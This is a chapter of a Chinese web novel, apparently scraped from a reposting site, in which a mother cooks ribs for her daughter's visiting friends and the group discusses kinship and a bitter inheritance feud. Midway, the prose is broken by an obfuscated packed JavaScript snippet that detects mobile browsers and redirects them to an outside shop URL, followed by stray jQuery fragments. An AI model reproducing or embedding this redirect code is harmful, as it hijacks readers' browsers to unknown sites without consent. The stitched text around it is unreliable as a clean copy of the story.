174. 亲的

作品:《你再跑我要ptsd了

    “开了吗?”喂喂几声对面无人应答,卢白关掉不可视的可视门禁。


    “都不知道开没开你就挂。”


    卢白打了个呵欠随手捡起餐桌上的砂糖橘开始剥皮,“没开她不会再打吗,那么大人了。”


    没出两分钟,大人韩婷婷敲响了自家门。


    “阿姨好。”蓝序恭恭敬敬。


    “今天降温了海边风很大吧。”姜与嘘寒问暖。


    卢白剥着第二个砂糖橘“兴师问罪”,“你们怎么搞这么晚?”


    “啊啊啊啊啊~”人来疯凡星又开始飞檐走壁。


    “小姜来啦。”面对孩子们韩婷婷和颜悦色,“你好你好~”


    风吹日晒奔波一天妆容是该斑驳了,气色倒不错,素底蓝纹样旗袍也是她一直的喜好,外头套了件薄羽绒,底下是保暖裤和雪地靴,背着个鼓囊的双肩登山包,一手保温杯,一手暖宝宝。


    “钥匙放在里面了不好掏。”她有些不好意思。


    “你们这些老阿姨啊,精力是不是有点过于旺盛了。”卢白将橘子塞进她妈嘴里,顺便扒下那泰山压顶的背包,“天不亮出门天黑才回家,大冬天还要穿裙子。你这里面装的什么啊这么沉。”


    “演出道具。”韩婷婷换上拖鞋,“中午就拍完了,结果回来路上遇到你叔叔,那碰见了我肯定要请人家吃一顿饭嘛。”


    “谁?”卢白一时半会想不起来自己哪个叔叔。


    “爱民,他老婆官莉你记得吧?”


    “啊……”这个叔叔卢白还是有印象的,“他们过来玩吗?”


    “退休了到处转呗,两个人自己开个小面包车挺好……”


    “啊啊啊啊啊~”凡星大王身披浴巾又飞回来了,超人姿势就要往韩婷婷怀里撞。


    “好好好好让外婆先去洗手,外婆在外面跑了一天身上全是细菌。”说着她进了洗手间,“你们吃饭了吗?”


    “没吃。不吃。”卢白又从果盘里捏了把开心果,“我等下给谢凡星做一点。不过她今天吃得也够多的了一下午嘴就没停。”


    “诶卢丁丁?”韩婷婷擦着手出来一脸不可思议,“你这个人怎么这样啊?朋友来家里你不给人家吃饭的吗?”


    “没有没有。”蓝朋友忙解释,“我们中午吃得晚,都不饿。”


    “再不饿也是一餐饭,叫点外卖也行啊……算了等我一下。”


    等韩阿姨回了卧室蓝序扭头,“卢丁丁是什么鬼?”


    扑哧。姜与没憋住,“她小名。”


    “哪个丁丁?丁丁炒面的丁丁吗?”


    “《丁丁历险记》的丁丁。”


    “那你应该去学新闻啊。本台记者卢丁丁。”


    “啧。”姜与偷走卢白剥好的坚果仁,“我好多年没听过这个名字了欸。”


    卢白拍掉贼人姜的手,“滚。”


    “Biu~”谈笑间一支塑料海绵头弓箭正中眉心,凡星大王四平马步弯弓射大妈,“接招吧!卢丁丁!”


    卢白:……


    “你们想吃什么?不对我得先看看家里有什么。”褪去旗袍的韩婷婷换上绒绒居家服开始在冰箱里翻腾,“昨天买了新鲜肋排,红烧一下可以吧?上次小姜和小黑他们来家里吃饭,最受欢迎就是妈妈做的排骨。”


    卢白检索脑硬盘,提取到一段初中时代的老房子回忆,“这都多少年前的事了,现在的猪跟当年都不一样了好吧。”


    “阿姨不用麻烦了。”晚辈蓝序端着的礼节无处安放。


    姜与用偷来的坚果仁投喂韩婷婷,“你跑一天不累吗不用管我们啦。”


    “你我不管。”韩婷婷嘴里塞着吃食含糊不清,“小蓝第一次来家里没有不给吃饭的道理。”


    扑哧。姜与这回直接笑出猪哼。


    “干吗?”蓝序睨她,“‘小蓝’很好笑吗?”


    “不知道啊。”被戳中笑点的姜与口水都笑出来了,“就是……”


    莫名其妙很,好笑。


    蓝序:……


    “你还好意思笑别人,”卢白给笑成蛆的那位抽了张纸,“阿黄。”


    姜与:……


    “喂快点。”韩婷婷举着排骨,“吃不吃?”


    “不用了吧……”蓝序嗫嚅。


    麻烦更不懂事还是拒绝更不礼貌,很多时候是比生存毁灭更难抉择的命题。


    但天生牛犊没有此等困扰。


    “吃!”凡星铿锵,“我要吃排骨!”


    “只吃排骨吗?”卢白无语地看着她的小馋猫,“不要点别的吗?”


    凡星深思,凡星灵光乍现,“烤串!”


    “嗯嗯,再给你来瓶纯生?”


    凡星不懂,凡星认可这个组合,“好。”


    “知道是什么吗你就好。”卢白捞起她的瓜娃儿,“再吃等下积食又要发烧了。”


    “我们就尝一口过过瘾嘛。”韩婷婷又挑了半颗绿甘蓝,“再炒一个青菜好吧?”


    见她这就进了厨房蓝序忙问:“阿姨我来帮你吧。”


    “不用不用,”韩婷婷挽起袖子赶人,“你们聊你们的。”


    “没事,”卢白安抚初次造访有些不安的小蓝客人,“她想做让她做吧。她做好你吃了她其实更开心。”


    坐立难安的蓝序还是找了点活干,剥蒜。三大一小围坐在餐桌旁将蒜皮皮堆满小碗,空气中排骨炖煮的酱香逐渐浓郁,玻璃窗也染上稀薄雾气。是啊,要过年了。


    “这是什么?”蓝序好奇桌角那株她没见过的植物,“洋葱花吗?”


    “洋葱……”姜与被逗笑,“叫朱顶红,这两年挺火的好像。下面那坨蜡封的里面是营养液。”


    “还好今年天冷,不然年没过完就开败了。”看着半开的花朵卢白想起什么伸手小心掐掉一圈青涩的花丝。


    “为什么要弄掉?”蓝猫好奇三千问,“不会死吗?”


    “不影响。”卢白将剪下来的东西随手丢进垃圾篓,抽纸擦拭干净掉落的花粉然后起身去洗手,“不然过两天到处飞。”


    “刚开一点剪掉雄蕊,这样不授粉花会开得更漂亮,花期也会延长。”姜与解释。


    “欸……”蓝序颇感新奇,“你也知道这种养花小窍门的嘛。”


    “不知道啊,那天买花老板教我的。”


    “一般谁在意这些。”卢白甩着湿手,“我妈养这么多年花她也是今年才知道。”


    “我差点忘了,”韩婷婷从厨房探出个脑袋,“叔叔阿姨还给你买了点心,在我包里,你去拿出来你们一起吃。”


    “给我买什么点心。”卢白伸手够到背包从里面掏出一盒月城手信,“这个应该他们自己带回去啊。”


    “人家也是一点心意嘛。”


    “你亲叔叔吗?”蓝序问。


    “不是,”卢白演算,“是我的,奶奶的……”


    “她奶奶亲妹妹的孩子,”韩婷婷端上刚出锅的排骨,补充道,“卢白爸爸的表弟。”


    “啊……”


    “她叔叔这个人是个很孝顺的孩子,心也细,他们两夫妻都很有心的。”韩婷婷聊着前夫的家常,“卢白爸爸和姑姑离得远,爷爷奶奶平时全靠人家照应,定期上门给老人理发剪指甲,过段时间开车带去外面吃饭逛街。爷爷腿不好要坐轮椅,上上下下都是她叔叔帮忙。自己孩子都未必能做到这种程度,换做其他人谁管你啊。”


    “他是奶奶的……”姜与不擅长梳理亲缘关系。


    “外甥。卢白奶奶是他的姨妈。”


    闻言蓝序撇嘴,“果然还是外甥更亲。”


    卢白点头,“反正我是跟小姨家更熟。”


    “我们家也是。”蓝序认同,“段野离那么远还是会经常联系。但我爸爸那边的亲戚,住在同一个城市平时都不来往的。我从小和段家都比跟蓝家亲。”


    “那肯定了。”韩婷婷理所当然,“妈妈家当然最亲了,姨妈舅舅的关系别人没法比的。”


    等青菜也上桌,韩阿姨这才去卸妆洗澡。


    “其实我跟我舅舅家都没有和小姨走得近。”卢白用公筷给凡星布菜,两块小排,一坨绿草。


    “是男孩相对跟家里没那么亲。”蓝序例举,“你看像段野奶奶家,那么大家庭,关系紧密还和睦。”


    “因为女孩多吗?”卢白打趣。


    “是啊。”蓝序认真,“不过可能也只是我自己的感觉吧,但我观察到的就是,家庭一定是围绕,”她又摇头,“是依赖女性建立的。段野他爸和大伯,已经相当顾家耐心了,但家里细枝末叶的东西他们还是没有姑姑们考虑得周到。他们之间也完全不像姑姑们,甚至他们的媳妇都感觉跟这个家更亲密。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404021|185824||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    姜与回忆起和段家人见面的场景,聚会上男人们似乎是都处在边缘位置,就好像,过年女人们围在桌旁一起剥蒜包饺子天南海北闲聊,而男人们则四散在客厅、卧室、阳台、门外,无所事事尴尴尬尬各忙各的。


    “是欸。”她觉得这个现象甚是有趣,“我爷爷那边五个兄弟也是老早就分家了。”


    “看吧看吧,”蓝序啧啧,“没有女人这个家早晚得散。”


    趁无人关注凡星在妈妈监控死角偷偷又捏了一块排骨放进自己的碟子里结果被卢白抓了个现行。


    “你就让她吃吧多跑两圈的事。”蓝序苦口婆心,“等你老了能活多久全凭她一句话。”


    “等我老了,”卢白生死看淡,“我还是找个山头自己把自己埋了吧。”


    姜与笑,“诶你外公那两个好大男还没消停吗?”


    蓝序白眼,“消毛线。”


    “怎么了?”卢白好奇。


    蓝序夹起的排骨又放回自己碗里,“我阿婆外公是重组家庭嘛,外公去世以后他那两个好大男隔三差五就过来闹。”


    卢白二郎腿晃着棉拖鞋,“分财产是吧。”


    “哦。”蓝序没什么好气。


    “那,依法是有人家的份的。”


    蓝序冷嗤,重新夹起那块排骨。


    外公离婚时两个男儿跟了母亲,双双组建新家孩子又已成年,虽说不至于老死不相往来,但至少跟冯家本不该有什么瓜葛。可血缘关系剪不断理还乱,因着外公的情分,冯家上下对他们皆是友善相待,冯阿婆把他们当自己孩子,冯家姐妹与他们兄妹相称,就连蓝序童年时代都多出来两个没有血缘的哥。


    只是啊。


    只是这看似的阖家欢乐,日子久了,人心难免生出计较。


    于是那点血缘关系,从经常走动到逢年过节到岁末难得一聚直到,父亲病重他们人都没见就下定决断,不救了。


    那是个隆冬天,外公毫无征兆吐血,八十多岁的冯阿婆只能给几个在陵湾的孩子们打去电话。外公大男儿就住附近,晃晃悠悠来,在分不清灰霾还是浮尘的昏黄天色中,瞅了眼同样照不进光的老居民楼水泥台阶,烟圈一吐,混着冷气白雾,“我腰不好,背不了。”他说。他还说,“肯定是不行了。”然后扬长而去,留下分不清是烟圈还是冷气的白雾。


    那个隆冬天,昏迷的外公被赶回来的继子小女儿和继外甥男合力抬下三楼送去了医院,一个月后,完好无损的外公回家度过了又一个新年。


    年后第一件事,外公去办理了房产过户。


    排骨很快见了底,褐红酱汁在没有暖气的家里逐渐凝结出麻木的霜。


    “他们心里不平衡,觉得外公偏心,自己的孩子不疼去疼别人的孩子。”蓝序唇角弧度凉薄眼里全是讥讽,“外公当然偏心。”


    外公是对冯家姐妹关爱有加,但平心而论,他的两个男儿不也是他含辛茹苦养大?但凡蓝序段野有的,那两个孙子难道短了什么吗?没有哪个正常父母会无端偏疼他人苛待自己的孩子。可人心或许会偏,人心不会无条件地蠢。


    这几十年,除了一些寻常年节礼,他们没掏过一分钱没出过一丝力没养过一天爹。是,亲爹有别人养,那么亲妈呢?老太太跌一跤摔断了腿需要关节置换,他们不想花钱手术就选择保守治疗。


    保守治疗。


    呵。


    老年人摔一跤回家躺着,什么结果不言而喻。


    “然后你知道他们干了什么吗?”蓝序轻蔑,“他们第一时间把老太太房子卖了。”


    姜与质疑,“能随便卖吗?”


    “不知道啊。我们也不知道这里面产权什么情况,但反正就是卖了啊,就没希望老太太活。”


    “艹。”卢白没忍住。


    卖完房老大立马甩手不管,小的那个多少还余点良心将亲妈接回了自己家。老太太就这样熬了一年多,人刚没,消失的好大男又跳出来要求分他妈的养老金抚恤金。这回另一个不同意了,开始狗咬狗。结局以哥哥找人将亲弟打进icu,弟弟坐着轮椅给亲哥一纸诉状送上法庭告终。


    里头浴室水声停歇,外面不大不小的餐桌上徒余空碗和沉默。


    “怪外公偏心?他们不把事情做那么难看,当爹的至于不给自己的亲生孩子留财产吗?”


    外公心寒啊。